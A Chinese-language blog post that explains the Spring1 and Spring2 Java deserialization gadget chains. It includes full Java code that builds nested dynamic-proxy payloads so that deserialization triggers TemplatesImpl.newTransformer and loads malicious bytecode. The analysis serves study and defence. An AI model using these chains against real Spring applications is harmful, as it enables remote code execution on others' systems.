Spring2

关于Spring链子动态代理的一些粗浅理解

Spring1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public static void main(String[] args) throws Exception {

// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = Util.getTemplatesImpl();

// 使用 AnnotationInvocationHandler 动态代理
//memberValues.get(member)其实就是map.get()通过key获得值
//因为预期我们调用的方法是getObject,所以我们设置key为getObject
//返回我们的TemplatesImpl实例
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);

HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);

// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factoryProxy = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

/////////到此为止,调用getObject()会返回TemplatesImpl////////

// ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
// 并且会调用 method.invoke(返回值,args)
// 此时返回值被我们使用动态代理改为了 TemplatesImpl
// 接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> autowireUtilsObjectFactoryDelegatingInvocationHandler = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = autowireUtilsObjectFactoryDelegatingInvocationHandler.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factoryProxy);

// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeofdHandlerProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
/////////次外层代理,调用typeofdHandlerProxy的任意方法会调用factory代理对象的getObject方法////////

// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeofdHandlerProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeofdHandlerProxy);

InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
////////到此为止是最外层的动态代理,TypeProvider.getType返回typeofdHandlerProxy////////

// 初始化 MethodInvokeTypeProvider
Class<?> methodInvokeTypeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = methodInvokeTypeProviderClass.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
//经过测试,初始化methodInvokeTypeProvider对象时不能提供newTransformer方法,否则不会触发
Object methodInvokeTypeProvider = cons.newInstance(typeProviderProxy, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getMethod("toString"), 0);
Field field = methodInvokeTypeProviderClass.getDeclaredField("methodName");
field.setAccessible(true);
field.set(methodInvokeTypeProvider, "newTransformer");

Util.serialize(methodInvokeTypeProvider);
Util.unserialize();

我们对这段代码进行分析

一共进行了三次动态代理

最外层的代理对象是typeProviderProxy,handler是AnnotationInvocationHandler,作用是触发代理getType()方法返回内部typeofdHandlerProxy代理对象

次外层代理对象是typeofdHandlerProxy,handler是AutowireUtils$ObjectFactoryDelegatingInvocationHandler作用是调用typeofdHandlerProxy

对象的任意方法会调用handler.ObjectFactory.getObject()

第三层代理是factoryProxy代理对象,也就是上面的handler.ObjectFactory属性,handler是AnnotationInvocationHandler作用是触发代理对象的getObject()方法返回恶意TemplatesImpl对象

下面来看流程

在 readObject:404, SerializableTypeWrapper$MethodInvokeTypeProvider 的

1
this.result = ReflectionUtils.*invokeMethod*(method, this.provider.getType());

中,this.provider 就是我们的第一个代理对象typeProviderProxy,调用getType 方法返回

typeofdHandlerProxy代理对象,这里是触发的是第一层代理

然后

this.result = ReflectionUtils.*invokeMethod*(method, typeProviderProxy); 进行方法调用

调用typeProviderProxy对象的newTransformer方法,因为是typeProviderProxy 的handler是

1
AutowireUtils$ObjectFactoryDelegatingInvocationHandler` 所以调用`typeProviderProxy` 的结果是调用到了`ObjectFactoryDelegatingInvocationHandler.invoke

image-20221014155403469)

最终在invoke方法中调用到了this.objectFactory.getObject() ,这里触发的是第二层代理

而我们知道objectFactory其实是factoryProxy代理对象,调用factoryProxy.getObject()

会返回TemplatesImpl对象,这里触发的是第三层代理

最后在 invoke:307, AutowireUtils$ObjectFactoryDelegatingInvocationHandler

image-20221014155414729

这里的Method.name是newTransformer,this.objectFactory.getObject() 的返回结果是TemplatesImpl,也就是调用TemplatesImpl.newTransformer()

整个调用链在这里生效

Spring2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
final Object templates = Gadgets.createTemplatesImpl(command);

//将TemplatesImpl对象封装进AdvisedSupport.targetSource
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));

//将AdvisedSupport封装进JdkDynamicAopProxy
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
Type.class,
Templates.class);

final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;

相比于Spring1的代码typeProviderProxy之后都是一样的,我们主要看不同的地方

在 readObject:404, SerializableTypeWrapper$MethodInvokeTypeProvider 的

1
this.result = ReflectionUtils.*invokeMethod*(method, this.provider.getType());

中,this.provider 就是我们的第一个代理对象typeProviderProxy,调用getType 方法返回

typeJdkDynamicAOPProxy代理对象,这里是触发的是第一层代理

this.result = ReflectionUtils.*invokeMethod*(method,typeJdkDynamicAOPProxy); 进行方法调用

调用typeJdkDynamicAOPProxy对象的newTransformer方法,因为是typeJdkDynamicAOPProxy 的handler是org.springframework.aop.framework.JdkDynamicAopProxy 所以调用typeJdkDynamicAOPProxy 的结果是调用到了JdkDynamicAopProxy.invoke

image-20221014180339329

我们能看到,最后invoke的对象target来自于this.advised.targetSource

advised属性在初始化时传入,所以我们只需要封装一个advised属性使其中的targetSource属性对应TemplatesImpl,最后就能使target为TemplatesImpl,最后调用到TemplatesImpl.newTransformer

1
2
3
Reference:
https://su18.org/post/ysoserial-su18-3/
https://cangqingzhe.github.io/2022/05/06/Spring1%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
文章作者: Ch4n
文章链接: http://example.com/2022/10/14/Spring1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ch4n's field